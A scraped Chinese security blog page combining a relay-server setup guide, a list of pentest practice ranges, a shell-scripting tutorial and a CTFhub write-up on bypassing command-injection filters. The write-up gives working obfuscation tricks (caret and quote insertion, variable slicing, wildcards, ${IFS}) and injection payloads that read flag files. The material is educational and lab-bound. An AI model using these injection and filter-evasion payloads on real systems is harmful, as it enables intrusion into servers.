泷羽Sec-分享网络安全 | 安全产品测评 | 网站建设 - 新手入门
服务器选购，这种中转站建议用海外的，就不推荐阿里云/腾讯了，贵，还容易被封https://www.boheidc.cn/aff/QOWYLYCV选择香港大带宽的推荐选择这款4c4g的大带宽，搭中转站的同时，也可以用来日常使用，比如搭一些开源项目，用来测试，如果选2c2g的话容易卡如果想要不限流量，低延迟的话可以选这款，低配一点，选4c2g的也可以新加坡的服务器也可以，最近限时放量出来，估计不久后就没了系统选择建议ubuntu系统购买成功后在控制台的云服务器界面等待开通成功，然后记住你的ip地址使用ssh远程连接工具连接，常见的连接工具有xshell，tabby，powershell等等，这里我们使用windows系统自带的powershell，输入如下命令ssh root@你的ip地址执行命令后，会让你输入密码，这个密码是不会显示的，输入密码后按回车连接成功后升级你的ubuntuapt update -y && apt upgrade -y安装宝塔打开官网注册一个账号，待会要用https://www.bt.cn/u/FIKCU2执行安装命令，中途会让你选择y还是n，是否安装，选择ywget -O install_panel.sh https://download.bt.cn/install/install_panel.sh && sudo bash install_panel.sh ed8484bec在安装完成后，会出现如下内容，记住你的账号密码还有访问地址，这里的访问地址指的是外网ipv4地址使用浏览器访问登录之后还会让你登录一遍，这里的登录的账号就是你在宝塔官网注册的账号，登录一下，后续的ssl证书记录还有其他配置就可以直接读取云端配置，若换了服务器，可以从云端直接迁移安装docker，这里的docker自带源，可以不用配置安装源，一个脚本直接给你安装好安装完成后，搜索new API，点击安装设置域名访问保存后，就可以访问此域名了，根据步骤来按需来到此就安装成功了获取渠道API这里拿deepseek官方来举例，去deepseek官网配置一个官方的api把api和apikey填入下面并提交在令牌管理界面中创建令牌添加成功后如何调用？配置参考http://api.longyusec.com/v1/chat/completionspython代码参考import requests import urllib3 urllib3.disable_warnings() url = "http://api.longyusec.com/v1/chat/completions" headers = { "Authorization": "Bearer sk-xxxxxxxxxxxx", "Content-Type": "application/json" } data = { "model": "deepseek-v4-pro", "messages": [ {"role": "user", "content": "你好，介绍一下你自己"} ], "stream": False } response = requests.post(url, headers=headers, json=data) print("状态码:", response.status_code) print("回复:", response.json()["choices"][0]["message"]["content"])关于客户端的支付可以配置易支付，对接支付宝和微信，这里就不教了教程中用到的海外服务器，薄荷云https://www.boheidc.cn/aff/QOWYLYCV常见问题nginx配置错误，默认的nginx配置是通过域名无法调用的，上面忘记讲了，补充一下，下面是我nginx配置参考server { listen 80; listen [::]:80; server_name api.longyusec.com; # 所有请求转发到 3000 端口 location / { proxy_pass http://127.0.0.1:3000; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; # 支持流式响应 proxy_buffering off; proxy_cache off; proxy_read_timeout 300s; # 支持 WebSocket proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; } # 保留 SSL 证书验证目录 location /.well-known { allow all; } access_log /www/wwwlogs/api.longyusec.com.log; error_log /www/wwwlogs/api.longyusec.com.error.log; #Monitor-Config-Start 网站监控报表日志发送配置 access_log syslog:server=unix:/tmp/bt-monitor.sock,nohostname,tag=18__access monitor; error_log syslog:server=unix:/tmp/bt-monitor.sock,nohostname,tag=18__error; #Monitor-Config-End }配置过程找到配置文件，注意自己把域名改一改，换成自己的，比如api.longyusec.com换成自己的域名保存配置后，点击重载，再点一下重启，就能正常通过api对话了
2025最新渗透测试靶场推荐，新手必练的靶场推荐
继上一篇渗透测试中新手必练的15个靶场，这次又新增了十个常用的靶场平台，帮助师傅们在学习渗透测试的路上不迷路，在开始之前呢推荐一个永久的渗透测试知识库，点击下方链接领取领取地址1、cyberstrikelab网址：https://www.cyberstrikelab.com/CyberStrikeLab 是一个专注于网络安全的在线仿真实战平台，由经验丰富的红队人员打造，以实战、系统、便利为特色，其靶机根据多年实战案例搭建，能帮助学习者提升网络安全实战技能。2、hackthebox网址：https://app.hackthebox.com/Hack The Box 是一个国际知名的网络安全渗透测试实战靶场平台，提供在线的渗透测试环境与挑战，帮助网络安全学习者与从业者提升实战技能。3、hackmyvm网址：https://hackmyvm.eu/hackmyvm 是一个国际性的网络安全靶场平台，提供多种虚拟机镜像靶机，用户可使用 VMware 或 VirtualBox 运行，挑战目标是获取操作系统的 root 权限和查看 flag。其靶机涵盖从入门到高阶的难度，适合不同水平的渗透测试爱好者学习与练习。4、Root Me网址：https://www.root-me.org/Root Me 是一个国际知名且免费的在线网络安全学习平台，提供CTF风格的网络安全挑战，涵盖密码学、WEB、脚本、网络、编程等内容的靶场，适合中高级学习者。5、Try Hack Me网址：https://tryhackme.com/Try Hack Me 是一个适合初学者的在线网络安全学习平台，提供结构化的课程、实战靶场和 CTF 挑战，帮助用户提升从基础到高级的网络安全技能。包括windows和Linux的靶场渗透。6、vulfocus网址：https://vulfocus.cn/Vulfocus 是一个漏洞集成平台，将漏洞环境 Docker 镜像放入即可使用，开箱即用，可用于漏洞复现、POC 验证、EXP 验证等，它由白帽汇推出，本质上是一个漏洞靶场。7、vulhub网址：https://github.com/vulhub/vulhubVulhub 是一个开源的漏洞靶场项目，基于 Docker 和 Docker-Compose 技术，提供一系列预构建的漏洞环境，用户可以快速搭建和测试各种漏洞场景，适合中高级学习者进行漏洞复现和研究8、vulnhub网址：https://www.vulnhub.com/和hackmyvm类似，是一个开源漏洞靶场项目，基于 Docker 和 Docker-compose 技术，提供一系列预构建的漏洞环境，用户可快速搭建和测试各种漏洞场景，适合中高级学习者进行漏洞复现和研究。9、XCTF攻防世界网址：https://adworld.xctf.org.cn/XCTF 攻防世界是一个专注于网络安全的在线平台，提供大量高质量的 CTF 题目和实训环境，适合不同水平的学习者提升实战技能。10、XSS小游戏网址：https://xss.haozi.me/#/XSS学习必备的小游戏11、墨者学院网址：https://www.mozhe.cn/墨者学院是一个专业的网络安全在线靶场平台，专注于实战技能培养，适合网络安全学习者提升攻防能力。12、封神台网址：https://hack.zkaq.cn/封神台是掌控安全推出的一个在线攻防演练靶场，专注于网络安全渗透测试演练，适合网络安全学习者和从业者进行实战技能提升13、春秋云镜https://yunjing.ichunqiu.com/春秋云镜是一个专注于实战化的网络安全攻防演练靶场平台，提供了多样化的漏洞环境和场景，以帮助用户提升网络安全技能和攻防实战能力。14、玄机靶场https://xj.edisec.net/玄机靶场是一个专业的网络安全实验平台，提供多样化的攻击场景库和丰富的题库，涵盖渗透测试、应急响应、CTF竞赛等领域，适合不同层次的学习者进行实战训练，提升网络安全技能。15、红日靶场http://vulnstack.qiyuanxuetang.net/vuln/红日靶场是一个由红日安全团队打造的网络安全靶场平台，其特点是提供模拟真实企业内网的环境，涵盖域控、黄金票据等高级内网渗透场景，适合具备一定基础的学习者进行实战训练。靶场通过虚拟机镜像形式提供，需本地部署使用16、CTFhubhttps://www.ctfhub.com/CTFHub 是一个专注于信息安全竞赛的在线学习平台，提供题目练习、赛事跟踪等服务，适合 CTF 爱好者学习和提升技能。17、CTFshowhttps://ctf.show/CTFShow 是一个在线的网络安全学习平台，提供丰富的 CTF 题目和解题思路，适合 CTF 爱好者学习和提升技能。18、AltoroJhttps://demo.testfire.net/AltoroJ 是一个开源的银行应用程序，用于展示 Web 应用安全漏洞，适合网络安全学习者进行安全测试和教育训练。它包含多种漏洞，如 SQL 注入、跨站脚本攻击等，旨在帮助学习者深入了解 Web 应用的安全性问题和防御策略。19、vulnwebhttp://vulnweb.com/Vulnweb 是一个故意设置安全漏洞的 PHP 在线商店示例，用于测试网页漏洞扫描工具和技能，如 SQL 注入、跨站脚本攻击等。它模拟真实的漏洞环境，帮助开发者、安全研究人员和学生学习常见的 Web 应用安全漏洞20、XSS-LABhttps://vuln.longyusec.com/XSS-labs是一个专注于跨站脚本攻击（XSS）学习和测试的开源靶场，提供多种XSS漏洞场景，帮助用户理解XSS攻击原理、掌握防御技巧，并通过实践提升安全意识和技能。21、SQL-LABShttps://vuln.longyusec.com/sql-libs是一个专门用于学习和测试SQL注入的开源平台，它提供了一系列的注入场景和关卡，帮助开发者和安全测试人员深入理解SQL注入的原理和防范方法。通过sql-libs，用户可以实践不同类型的SQL注入攻击，并学习如何编写安全的代码来避免这些漏洞。22、DVWAhttps://vuln.longyusec.com/DVWA是一个用于演示网页应用安全漏洞的开源软件平台，旨在帮助安全专业人士、学生及开发者理解并学习常见安全漏洞。它模拟了多种漏洞场景，如SQL注入、XSS等，提供安全测试环境。新手必练靶场之一。23、upload-labshttps://vuln.longyusec.com/upload-labs是一个使用PHP语言编写的，专门用于渗透测试和CTF中遇到的各种文件上传漏洞的靶场，旨在帮助用户深入了解文件上传漏洞的原理和防范措施。它提供了一系列模拟文件上传漏洞的实验环境，每个关卡都包含着不同的上传方式和挑战。24、mutillidaehttps://vuln.longyusec.com/Mutillidae 是一个免费、开源的 Web 应用程序安全漏洞靶场，由 OWASP 社区支持，包含丰富的渗透测试项目，如 SQL 注入、跨站脚本攻击、文件包含等，旨在帮助学习者理解和发现常见的 Web 应用安全问题。25、JAVA Sec Labhttps://github.com/whgojp/JavaSecLabJavaSecLab 是一款综合型 Java 漏洞平台，提供相关漏洞缺陷代码、修复代码、漏洞场景、审计 SINK 点、安全编码规范，覆盖多种漏洞场景，拥有友好用户交互 UI，适合安全研究人员、开发人员和安全服务人员学习和理解 Java 安全漏洞的生成、修复和审计过程。25、极核靶场https://hackhub.get-shell.com/games一个不错的靶场练习平台感谢师傅能看到这里再送一波福利，师傅们不想要一个一个看，那么我都准备好了，在longyusec.com中点击相关的链接就可以进入相应的靶场啦，如果还有比较热门的靶场没有提交到这，欢迎师傅们投稿往期推荐近400个渗透测试常用命令，信息收集、web、内网、隐藏通信、域渗透等等内网渗透，流量转发Linux内网渗透（2w字超详细）AD域内网渗透-三种漏洞利用方式【OSCP】vulnerable_Docker，三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式内网渗透必备，microsocks，一个轻量级的socks代理工具【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！绝对干货！DC-2综合渗透，rbash逃逸，git提权，wordpress靶场渗透教程【渗透测试】12种rbash逃逸方式总结红日靶场5，windows内网渗透，社工提权，多种域内横向移动思路红日靶场3，joomla渗透，海德拉SMB爆破，域内5台主机横向移动教学不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略SQL注入中各种WAF的绕过方式，狗，盾，神，锁，宝利用MySQL特性，WAF绕过技巧SQL注入绕过某狗的WAF防火墙，这一篇就够了，6k文案超详细大型翻车现场，十种WAF绕过姿势，仅成功一种喜欢长文吗？1w字图文带你了解sqlmap，从0到1，WAF绕过，高级用法一文通透
kali Linux Shell编程：基础到进阶在Linux系统中，shell编程是一项基本技能，它不仅能够提高系统操作效率，还能让你更好地理解和掌控Linux。本文将带领你从shell编程的基础入门，逐步进阶到复杂应用，通过改写和扩展原有内容，使内容更加丰富且保持低重复率。一、Shell编程基础1. Shell简介Shell是一种命令行界面，用于用户与操作系统进行交互。它也是一种脚本语言，允许用户编写程序自动执行一系列命令。Linux系统中常见的Shell类型包括bash、zsh、csh等，其中bash是最常用的Shell之一。代码示例：#!/bin/bash echo "Hello, Shell World!"以上脚本使用bash Shell，打印“Hello, Shell World!”。2. 创建和执行Shell脚本创建Shell脚本的第一步是创建一个文本文件，并写入Shell命令。然后，你需要给这个文件添加执行权限，最后通过终端执行它。示例步骤：使用文本编辑器（如vim或nano）创建脚本文件，例如hello.sh。在文件中写入以下内容：#!/bin/bash # A simple hello world script echo "Hello, World from a Shell Script!"保存并退出编辑器。给脚本文件添加执行权限：chmod +x hello.sh。执行脚本：./hello.sh。3. Shell脚本的基本语法Shell脚本的基本语法包括变量定义、条件语句、循环语句等。变量定义与使用：#!/bin/bash # Define a variable name="John Doe" # Use the variable echo "Hello, $name!"条件语句：Shell脚本中的条件语句主要有if、elif、else。#!/bin/bash # Check the number of arguments if [ $# -eq 0 ]; then echo "No arguments provided." elif [ $# -eq 1 ]; then echo "One argument provided: $1" else echo "Multiple arguments provided." fi4. Shell中的循环Shell支持多种循环，包括for循环和while循环。For循环：#!/bin/bash # Loop through numbers 1 to 5 for i in {1..5}; do echo "Number $i" doneWhile循环：#!/bin/bash counter=1 while [ $counter -le 5 ]; do echo "Number $counter" ((counter++)) done二、Shell编程进阶1. 函数定义与调用在Shell脚本中，函数允许你将代码块封装起来，以便在脚本中重复使用。#!/bin/bash # Define a function greet() { echo "Hello, $1!" } # Call the function greet "Alice" greet "Bob"2. 数组的使用Shell脚本支持一维数组，可以通过索引来访问数组元素。#!/bin/bash # Declare an array fruits=("Apple" "Banana" "Cherry") # Iterate through the array for fruit in "${fruits[@]}"; do echo "$fruit" done3. 正则表达式与文本处理Shell脚本中可以使用正则表达式来匹配文本字符串。grep命令是处理文本和正则表达式的好帮手。#!/bin/bash # Use grep to find lines containing 'error' grep "error" log.txt使用awk和sed工具可以进行更复杂的文本处理。使用awk处理文本：#!/bin/bash # Print the first and third fields of each line in a file awk '{print $1, $3}' file.txt4. 读取用户输入Shell脚本可以读取用户输入，用于交互式操作。#!/bin/bash # Read user input echo "Enter your name: " read name echo "Hello, $name!"5. 文件与目录操作Shell脚本提供了丰富的命令来操作文件和目录，如ls、cp、mv、rm等。列出当前目录下的所有文件：#!/bin/bash # List all files in the current directory ls -l复制文件：#!/bin/bash # Copy a file cp source.txt destination.txt6. Shell脚本的调试调试Shell脚本时，可以使用-x选项来跟踪脚本的执行过程。bash -x script.sh三、高级Shell编程技巧1. 子Shell与进程控制在Shell脚本中，可以通过括号()来创建一个子Shell，子Shell会继承父Shell的环境，但在子Shell中做的任何修改都不会影响到父Shell。#!/bin/bash # Create a subshell (cd /tmp; ls)2. 陷阱信号与信号处理Shell脚本可以捕获和处理系统发出的信号，如SIGINT（通常通过Ctrl+C产生）。#!/bin/bash # Trap SIGINT trap 'echo "Caught SIGINT"; exit' SIGINT echo "Script is running. Try pressing Ctrl+C." while true; do sleep 1 done3. 并发执行与等待Shell脚本可以利用&将命令放入后台执行，并使用wait命令等待后台进程完成。#!/bin/bash # Run commands in the background command1 & command2 & # Wait for all background processes to finish wait结语通过本文的改写和扩展，我们详细探讨了Shell编程的基础和进阶内容，包括变量、条件语句、循环、函数、数组、文本处理、用户输入、文件操作、调试以及高级Shell编程技巧。希望这些内容能够帮助你更好地掌握Shell编程，提高在Linux系统中的工作效率。
从0-1讲解RCE漏洞绕过，Windows与Linux/RCE漏洞绕过方式总结----实战解析前言本文讲解了Windows/Linux的常见命令以及命令执行漏洞的绕过方式，靶场环境为CTFhub，分别有命令注入、cat过滤、空格过滤、过滤目录分隔符、运算符过滤，这几种绕过方式Windows我们在Windows命令行中执行命令的时候，是不区分大小写的C:\>WHOAMI yv\administrator 在命令行中可以有无数个"C:\>wh""""oami yv\administrator C:\>wh""""""""""""""""""""""""""""""oami yv\administrator 不能有两个连续的^C:\>whoa^mi yv\administrator C:\>whoam^^i 'whoam^i' 不是内部或外部命令，也不是可运行的程序 或批处理文件。 C:\>who^a^m^i yv\administrator 在命令中如果 " 在^之前，此时"的数量必须为偶数C:\>who""a^mi yv\administrator C:\>who"a^mi 'who"a^mi' 不是内部或外部命令，也不是可运行的程序 或批处理文件。 在命令中"在^之后，且带有参数，则”也需要带有偶数C:\>n^et" user 'net" user' 不是内部或外部命令，也不是可运行的程序 或批处理文件。 C:\>n^et"" user \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 也可以使用()对命令进行包裹C:\>(whoami) yv\administrator C:\>(n^et"" user) \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 ()的数量不设上限C:\>(((whoami))) yv\administrator 使用变量简单拼接%%局部分开每个变量C:\>set cmd1=who C:\>set cmd2=am C:\>set cmd3=i C:\>%cmd1%%cmd2%%cmd3% yv\administrator 变量拼接方式二C:\>set cmd1=who C:\>set cmd3=i C:\>%cmd1%am%cmd3% yv\administrator 变量拼接方式三C:\>set cmd1=wh"""o C:\>set cmd3=i""" C:\>%cmd1%am%cmd3% yv\administrator 变量拼接方式四 ^C:\>set cmd1=wh""""o # 这里需要偶数，因为在变量拼接结果中有 ^ C:\>set cmd3=i""" # 后面正常多少个 " 都行 C:\>%cmd1%a^m%cmd3% yv\administrator 含有参数的命令，net userC:\>set cmd1=s""er C:\>set cmd2=t u C:\>set cmd3=n^e C:\>%cmd3%%cmd2%%cmd1% \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 一次性执行多条命令C:\>cmd /C "set cmd1=s""ser && set cmd2=t u && set cmd3=n^e && %cmd3%%cmd2%%cmd1%" \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 Windows环境变量切分先设置一个变量C:\>set cmd=whoami C:\>%cmd% yv\administrator 这个0,1表示的数组切片，代表前后切片的索引C:\>set cmd=whoami C:\>echo %cmd:~0,1% w C:\>echo %cmd:~0,4% whoa 也可以为负数，负数表示从右边开始数第几个C:\>set cmd=whoami C:\>echo %cmd:~-4,4% oami C:\>echo %cmd:~-6,4% whoa 当然也能直接向外部写一个php一句话木马检查是否存在for循环执行命令C:\>cmd /V:ON /C "set kpx=awlh2im,xiaoyu&& for %G in (1,3,-3,0,6,5) do set lq=!lq!!kpx:~%G,1!&& if %G==5 !lq:~4!" C:\>set lq=!lq!!kpx:~1,1! && if 1 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~3,1! && if 3 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~-3,1! && if -3 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~0,1! && if 0 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~6,1! && if 6 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~5,1! && if 5 == 5 !lq:~4! yv\administrator LinuxLinux中是区分大小写的┌──(root㉿251ebe86465a)-[/] └─# LS LS: command not found ┌──(root㉿251ebe86465a)-[/] └─# Ls Ls: command not found 运算符;表示连续指令，即使前面那条命令报错，后面也会接着执行┌──(root㉿251ebe86465a)-[/] └─# LS;whoami LS: command not found root & 用于后台执行命令，这个可能看不出来┌──(root㉿251ebe86465a)-[/] └─# ls&wHoami [1] 59 archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr Command 'Whoami' not found, did you mean: command 'whoami' from deb coreutils Try: apt install <deb name> [1]+ Done ls --color=auto 我们使用ping 127.0.0.1 & whoami，这条命令会将ping放在后台执行，这个时候你没有设置ping的次数，就会一直执行下去，停止不了，而whoami已经执行完毕了。┌──(root㉿Kali)-[/usr/local] └─# ping 127.0.0.1& whoami [1] 4508 root PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=5.80 ms ┌──(root㉿Kali)-[/usr/local] └─# 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.593 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.049 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.044 ms 64 bytes from 127.0.0.1: icmp_seq=5 ttl=64 time=0.058 ms 64 bytes from 127.0.0.1: icmp_seq=6 ttl=64 time=0.045 ms --------之后将会一直运行下去，也停止不了。。。。 &&连接两个指令的时候，要保证命令两个命令都能正常执行，否则一个错，就执行不了了┌──(root㉿251ebe86465a)-[/] └─# ls&&whoami archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr root ┌──(root㉿251ebe86465a)-[/] └─# LS&&whoami LS: command not found |管道符：用于将一个命令的输出作为另一个命令的输入。它允许两个或多个命令之间传递数据。例如，我获取这个/data路径的下的所有包含boo的文件┌──(root㉿251ebe86465a)-[/] └─# ls | grep '*boo*' boot ||逻辑运算符：如果||左边的命令执行失败（返回非零退出状态），那么||右边的命令将会被执行。执行成功一个命令后，后面的苏哦有命令都不会执行。┌──(root㉿251ebe86465a)-[/] └─# ip addr || wHoami || ls 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever 转义字符\┌──(root㉿251ebe86465a)-[/] └─# who\ami root ''，()，$，``┌──(root㉿251ebe86465a)-[/] └─# who''ami root ┌──(root㉿251ebe86465a)-[/] └─# (whoami) root ┌──(root㉿251ebe86465a)-[/] └─# (who''ami) root ┌──(root㉿251ebe86465a)-[/] └─# `(echo whoami)` root ┌──(root㉿251ebe86465a)-[/] └─# $(echo whoami) root 命令引用┌──(root㉿Kali)-[/data] └─# t=l;j=s;$t$j #相当于执行了 ls 谷歌插件 GitHack miku Linux特有变量$1，$*，$@，$n这个n表示除0以外的任意数字，都可以作为系统命令绕过的方式┌──(root㉿Kali)-[/data] └─# who$2ami root ┌──(root㉿Kali)-[/data] └─# who$4ami root ┌──(root㉿Kali)-[/data] └─# who$*ami root ┌──(root㉿Kali)-[/data] └─# who$@ami root ┌──(root㉿Kali)-[/data] └─# who$0ami who-zshami：未找到命令 Linux通配符我们以执行whoami这个命令来进行测试┌──(root㉿Kali)-[/etc/docker] └─# whereis whoami whoami: /usr/bin/whoami /usr/share/man/man1/whoami.1.gz ┌──(root㉿Kali)-[/etc/docker] └─# /usr/bin/whoam* root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/wh?am? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /u?r/b?n/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /*/b?n/????mi root Linux中命令中的命令虽然会报错，但是命令也会正常执行┌──(root㉿kali)-[/etc/docker] └─# `666666` 666666：未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# 666666`whoami`6666 666666root6666：未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# `6666`whoami`6666` 6666：未找到命令 6666：未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# 6666`whoami`6666 6666root6666：未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# w`sfdawfewa`ho`sajfdkljas`am`sdjflk123`i sfdawfewa：未找到命令 sajfdkljas：未找到命令 sdjflk123：未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf}oam${ddkjdld}i root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf242341}oam${ddkjdld234232}i root Linux环境变量切割查看环境变量┌──(root㉿251ebe86465a)-[/] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 查看环境变量的长度┌──(root㉿251ebe86465a)-[/] └─# echo ${#PATH} 60 分割环境变量┌──(root㉿kali)-[/etc/docker] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/root/.dotnet/tools ┌──(root㉿kali)-[/usr/local] └─# echo ${PATH:0:10} /usr/local ┌──(root㉿kali)-[/usr/local] └─# echo ${PATH:0:1} / 靶场练习CTFHUB 使用&&符号，没有获取到想要的结果，因为&&在前一个命令没有执行结束的时候，是不会执行后面的命令的。当然还有种思路就是指定次数，使用-c参数，这里是没有效果的┌──(root㉿kali)-[~] └─# ping -c 2 127.0.0.1 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.489 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.106 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1004ms rtt min/avg/max/mdev = 0.106/0.297/0.489/0.191 ms ;绕过┌──(root㉿kali)-[~] └─# ping -c 2 127.0.0.1;whoami PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.558 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.047 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1008ms rtt min/avg/max/mdev = 0.047/0.302/0.558/0.255 ms root 使用&也可以得到结果，通过将ping命令放到后台执行，后面的结果也会执行[1] => /sys/devices/platform/serial8250/tty/ttyS2/flags payload：127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS2/flags [2] => /sys/devices/platform/serial8250/tty/ttyS0/flags payload：127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS0/flags [3] => /sys/devices/platform/serial8250/tty/ttyS3/flags payload：127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS3/flags [4] => /sys/devices/platform/serial8250/tty/ttyS1/flags payload：127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS1/flags [5] => /sys/devices/virtual/net/tunl0/flags payload：127.0.0.1 & cat /sys/devices/virtual/net/tunl0/flags [6] => /sys/devices/virtual/net/lo/flags payload：127.0.0.1 & cat /sys/devices/virtual/net/lo/flags 这些payload都给你们试过了，没有flag不断执行命令，找到这个web目录中有一个数字.php查看即可得知payload127.0.0.1 & cat /var/www/html/17165225371506.php 查看源码过滤cat题目：过滤了cat命令之后，你还有什么方法能读到 Flag?查看目录，他换了个名字没有cat那么在Linux中还有这样几个命令tac命令是cat命令的反向操作，它会按行读取文件内容，但会以相反的顺序输出。这意味着文件的最后一行将首先显示，而第一行将最后显示。127.0.0.1 &tac /var/www/html/flag_9902871730290.php less命令与more命令类似，也是用于分页显示文本文件的内容，但less提供了更多的导航选项，如向前翻页、向后翻页、搜索文本等。127.0.0.1 &less 5 /var/www/html/flag_9902871730290.php head命令用于显示文件的开头部分，默认显示前10行，但可以通过选项指定显示的行数。127.0.0.1 &head 5 /var/www/html/flag_9902871730290.php tail命令用于显示文件的末尾部分，默认显示最后10行，与head命令相对应。它还可以用于实时跟踪文件的新增内容。127.0.0.1 &tail 5 /var/www/html/flag_9902871730290.php nl命令与cat -b命令相似，用于显示文件内容并在每行前加上行号，但nl提供了更多的格式化选项。127.0.0.1 & nl /var/www/html/flag_9902871730290.php awk是一个强大的文本处理工具，虽然它主要用于模式扫描和处理语言，但在某些情况下，可以使用awk命令以类似于cat的方式显示文件内容，同时添加额外的文本处理功能。127.0.0.1 & awk '{print}' /var/www/html/flag_9902871730290.php more命令用于分页显示文本文件的内容，用户可以通过按空格键翻页，按b键回退，按q键退出。虽然它主要用于分页查看，但在逐页查看文件内容时，与cat命令直接显示整个文件内容的方式形成对比。127.0.0.1 & more /var/www/html/flag_9902871730290.php 过滤空格分析源码，使用preg_match_all函数检查变量$ip中是否包含空格。空格的绕过方式一般有(针对于本题来讲)1、${IFS}代替空格127.0.0.1&ls${IFS}/var/www/html/2、%09相当于tab键127.0.0.1&ls%09/var/www/html/3、大括号{}127.0.0.1&{ls,/var/www/html/}4、重定向字符> <>举例┌──(root㉿kali)-[/data] └─# ping -c 1 127.0.0.1;ls<>-l PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.701 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.701/0.701/0.701/0.000 ms 谷歌插件 GitHack -l miku payload：127.0.0.1&ls<>/var/www/html/经过测试，上面四种仅有${IFS}成功完整payload127.0.0.1&cat${IFS}/var/www/html/flag_172742853821990.php 过滤目录分隔符题目：这次过滤了目录分割符 / ，你能读到 flag 目录下的 flag 文件吗？直接使用ls查看目录，没有东西试试%2F127.0.0.1 & ls %2Fvar%2Fwww%2Fhtml 那我们直接ls使用cd和;进行多行命令执行即可，一级目录一级目录的cd即可127.0.0.1;cd flag_is_here;cat flag_31328570616525.php 过滤运算符题目：过滤了几个运算符, 要怎么绕过呢？分析源码，过滤了运算符，但是也没完全过滤，少了个;;即可127.0.0.1;cat flag_5393398119154.php 往期文章推荐Love-Yi情侣网站存在SQL注入漏洞【kali笔记】 Kali Shell编程从基础到进阶【kali笔记】Metasploit Framework (MSF) 从基础到进阶使用指南SQL注入绕过某狗的waf防火墙，这一篇就够了，6k文案超详细我的《护网奇遇记》
PHP反序列化漏洞从入门到深入8k图文介绍，以及phar伪协议的利用
